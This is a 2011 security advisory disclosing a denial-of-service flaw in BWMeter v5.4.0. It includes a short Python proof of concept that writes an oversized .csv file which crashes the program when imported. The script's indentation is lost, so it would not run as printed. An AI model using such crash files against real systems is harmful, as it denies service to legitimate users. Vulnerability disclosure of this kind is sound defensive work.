BWMeter version 5.4.0 suffers from a .csv related denial of service vulnerability.
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BWMeter v5.4.0 (.csv) Denial of Service
[+] Description
BWMeter is a powerful bandwidth meter, monitor, traffic controller and
firewall, which measures, displays and controls all traffic to/from your
computer or on your network.
[+] Information
Title: BWMeter v5.4.0 (.csv) Denial of Service
Advisory: gg-002-2011
Date: 02-14-2011
Last update: 02-16-2011
Link: http://www.gotgeek.com.br/pocs/gg-002-2011.txt
Tested on: Windows XP SP3
[+] Vulnerability
BWMeter is affected by denial of service vulnerability.
Successful exploitation of the vulnerability allows an attacker to crash the
vulnerable application, denying service to legitimate users.
Affected Versions:
BWMeter v5.4.0
Other versions may also be vulnerable.
[+] Proof of Concept/Exploit
#!/usr/bin/python
#
junk = "\x47\x47" * 2500
try:
file = open('b0t.csv','w');
file.write(junk);
file.close();
print "\n[*] gotgeek labs"
print "[*] http://gotgeek.com.br\n"
print "[+] b0t.csv created."
print "[+] Open BWMeter.exe..."
print "[+] Statistics >> Import"
print "[+] and Select b0t.csv\n"
except:
print "\n[-] Error.. Can't write file to system.\n"
[+] References
http://www.desksoft.com/BWMeter.htm
[+] Credits
b0telh0